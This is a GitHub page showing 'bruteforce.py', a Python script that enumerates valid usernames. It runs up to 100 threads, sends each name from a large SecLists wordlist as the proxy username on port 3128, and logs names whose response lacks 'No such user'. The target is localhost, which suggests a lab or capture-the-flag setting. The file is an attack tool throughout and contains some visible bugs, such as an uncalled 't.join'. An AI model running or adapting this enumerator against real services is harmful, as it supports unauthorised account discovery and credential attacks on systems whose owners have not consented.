-
Notifications
You must be signed in to change notification settings - Fork 0
/
bruteforce.py
62 lines (51 loc) · 1.44 KB
/
bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests,re, threading, time
max_threads = 100
sema = threading.Semaphore(value=max_threads)
threads = list()
thread_number = 0
lock = threading.Lock()
found_users_file = "found_users.txt"
wordlist = '/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt'
#wordlist = 'wordlist'
def start_job():
with open(wordlist) as f:
lines = f.read().splitlines()
total_req_number = len(lines)
req_number = 0
for l in lines:
while True:
if(len(threads) >= max_threads):
clean_threads(False)
if(len(threads) < max_threads):
thread = threading.Thread(target=check,args=(l,req_number, total_req_number))
threads.append(thread)
thread.start()
req_number = req_number + 1
break
time.sleep(0.2)
def clean_threads(force):
for t in threads:
if force == False:
if not t.is_alive():
t.join()#threads.remove(t)
threads.remove(t)
#t.join()
else:
t.join
threads.remove(t)
return True
def check(word,req_number,total_req_number):
proxy = {'http' : f'http://{word}:[email protected]:3128'}
r = requests.get('http://127.0.0.1:8000',proxies=proxy)
if "No%20such%20user" not in r.text:
with lock:
clean_threads(True)
print("Found user:")
print(word)
with open(found_users_file, "a") as f:
f.write(f"{word}\n")
with open("debug.txt", "a") as f:
f.write(f"{r.text}\n")
else:
print(f"{req_number} of {total_req_number} ",end="\r")
start_job()